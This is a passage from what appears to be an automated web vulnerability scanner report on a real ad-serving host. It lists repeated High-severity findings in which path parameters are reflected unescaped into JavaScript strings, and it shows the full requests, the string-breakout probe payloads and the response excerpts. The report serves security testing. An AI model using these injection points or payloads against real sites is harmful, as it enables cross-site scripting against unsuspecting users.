Path:   //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js

Issue detail

The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4d7c'%3bafdedb92150 was submitted in the REST URL parameter 10. This input was echoed as f4d7c';afdedb92150 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20119051/21248/0/0/203687986/203687986//0/203f4d7c'%3bafdedb92150/9542//1/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1649
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:51 GMT
Date: Sat, 26 Feb 2011 01:49:51 GMT
Connection: close


var zzADS_CHAN = '203687986';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986;i=0;n=203f4d7c';afdedb92150;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseOut="window
...[SNIP]...

1.80. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 11]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js

Issue detail

The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78b07'%3b973a986fd5 was submitted in the REST URL parameter 11. This input was echoed as 78b07';973a986fd5 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/954278b07'%3b973a986fd5//1/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1648
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:56 GMT
Date: Sat, 26 Feb 2011 01:49:56 GMT
Connection: close


var zzADS_CHAN = '203687986';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986;i=0;n=203;s=954278b07';973a986fd5;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseOut="window.status
...[SNIP]...

1.81. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 92286'%3bdf5245fe92e was submitted in the REST URL parameter 4. This input was echoed as 92286';df5245fe92e in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20119051/2124892286'%3bdf5245fe92e/0/0/203687986/203687986//0/203/9542//1/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1649
Cache-Control: max-age=2591978
Expires: Mon, 28 Mar 2011 01:49:11 GMT
Date: Sat, 26 Feb 2011 01:49:33 GMT
Connection: close


var zzADS_CHAN = '203687986';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=2124892286';df5245fe92e;c=203687986,203687986;i=0;n=203;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\';
...[SNIP]...

1.82. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff6c9'%3b8c6997a9eb5 was submitted in the REST URL parameter 7. This input was echoed as ff6c9';8c6997a9eb5 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20119051/21248/0/0/203687986ff6c9'%3b8c6997a9eb5/203687986//0/203/9542//1/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1667
Cache-Control: max-age=2591954
Expires: Mon, 28 Mar 2011 01:48:56 GMT
Date: Sat, 26 Feb 2011 01:49:42 GMT
Connection: close


var zzADS_CHAN = '203687986ff6c9';8c6997a9eb5';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;

...[SNIP]...

1.83. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 8]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c72d0'%3bb81f0cdff45 was submitted in the REST URL parameter 8. This input was echoed as c72d0';b81f0cdff45 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20119051/21248/0/0/203687986/203687986c72d0'%3bb81f0cdff45//0/203/9542//1/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1649
Cache-Control: max-age=2591985
Expires: Mon, 28 Mar 2011 01:49:29 GMT
Date: Sat, 26 Feb 2011 01:49:44 GMT
Connection: close


var zzADS_CHAN = '203687986';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986c72d0';b81f0cdff45;i=0;n=203;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseO
...[SNIP]...

1.84. http://e2.cdn.qnsr.com//cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js [REST URL parameter 9]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20119051/21248/0/0/203687986/203687986//0/203/9542//1/i.js

Issue detail

The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 43d0c'%3b225d52bbf59 was submitted in the REST URL parameter 9. This input was echoed as 43d0c';225d52bbf59 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20119051/21248/0/0/203687986/203687986//043d0c'%3b225d52bbf59/203/9542//1/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1649
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:47 GMT
Date: Sat, 26 Feb 2011 01:49:47 GMT
Connection: close


var zzADS_CHAN = '203687986';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
<A HREF="http://o1.qnsr.com//cgi/c?a=20119051;x=21248;c=203687986,203687986;i=043d0c';225d52bbf59;n=203;s=9542;p=20830170;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://solutions.internet.com/3851_ITILv3-default" TARGET="_blank" onMouseOver="window.status=\'\'; return true;" onMouseOut="
...[SNIP]...

1.85. http://e2.cdn.qnsr.com//cgi/k/20132865/1537/0/0/203687984/203687984//0/203/9542//1000002/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20132865/1537/0/0/203687984/203687984//0/203/9542//1000002/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5edfa'%3b1e8c5ab6679 was submitted in the REST URL parameter 7. This input was echoed as 5edfa';1e8c5ab6679 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20132865/1537/0/0/2036879845edfa'%3b1e8c5ab6679/203687984//0/203/9542//1000002/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1877
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:39 GMT
Date: Sat, 26 Feb 2011 01:49:39 GMT
Connection: close


var zzADS_CHAN = '2036879845edfa';1e8c5ab6679';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;

...[SNIP]...

1.86. http://e2.cdn.qnsr.com//cgi/k/20135122/1793/0/0/203687991/203687991//0/203/9542//5000005/i.js [REST URL parameter 7]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20135122/1793/0/0/203687991/203687991//0/203/9542//5000005/i.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4d45'%3b635acea8c54 was submitted in the REST URL parameter 7. This input was echoed as f4d45';635acea8c54 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20135122/1793/0/0/203687991f4d45'%3b635acea8c54/203687991//0/203/9542//5000005/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 6112
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:46 GMT
Date: Sat, 26 Feb 2011 01:49:46 GMT
Connection: close


var zzADS_CHAN = '203687991f4d45';635acea8c54';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;

...[SNIP]...

1.87. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 10]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a2e4c'%3b75866eeb8cb was submitted in the REST URL parameter 10. This input was echoed as a2e4c';75866eeb8cb in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20140829/3585/0/0/203687989/203687989//0/203a2e4c'%3b75866eeb8cb/9542//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2592000
Expires: Mon, 28 Mar 2011 01:49:53 GMT
Date: Sat, 26 Feb 2011 01:49:53 GMT
Connection: close


var zzADS_CHAN = '203687989';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
anguage=\'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203a2e4c';75866eeb8cb%3Bs=9542%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.88. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 11]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ec13'%3bb82047b1192 was submitted in the REST URL parameter 11. This input was echoed as 5ec13';b82047b1192 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/95425ec13'%3bb82047b1192//4000004/i.js HTTP/1.1
Host: e2.cdn.qnsr.com
Proxy-Connection: keep-alive
Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==

Response

HTTP/1.1 200 OK
Server: QUAD 3G
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Content-Type: application/javascript
Content-Length: 1498
Cache-Control: max-age=2591945
Expires: Mon, 28 Mar 2011 01:49:03 GMT
Date: Sat, 26 Feb 2011 01:49:58 GMT
Connection: close


var zzADS_CHAN = '203687989';
if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') {
var zzStr = zzPage_obj[zzADS_CHAN].zzStr;
var zzTrd = z
...[SNIP]...
'JavaScript1.1\' SRC="http://ad.doubleclick.net/adj/N5295.Internet.com/B5200652.4;sz=728x90;click0=http://o1.qnsr.com//cgi/c%3Fa=20140829%3Bx=3585%3Bg=0,0%3Bc=203687989,203687989%3Bi=0%3Bn=203%3Bs=95425ec13';b82047b1192%3B%3Bq=1%3Bk=' + zz_trd + ';ord=123456?">
...[SNIP]...

1.89. http://e2.cdn.qnsr.com//cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://e2.cdn.qnsr.com
Path:   //cgi/k/20140829/3585/0/0/203687989/203687989//0/203/9542//4000004/i.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 585a1'%3b1941ee17325 was submitted in the REST URL parameter 4. This input was echoed as 585a1';1941ee17325 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

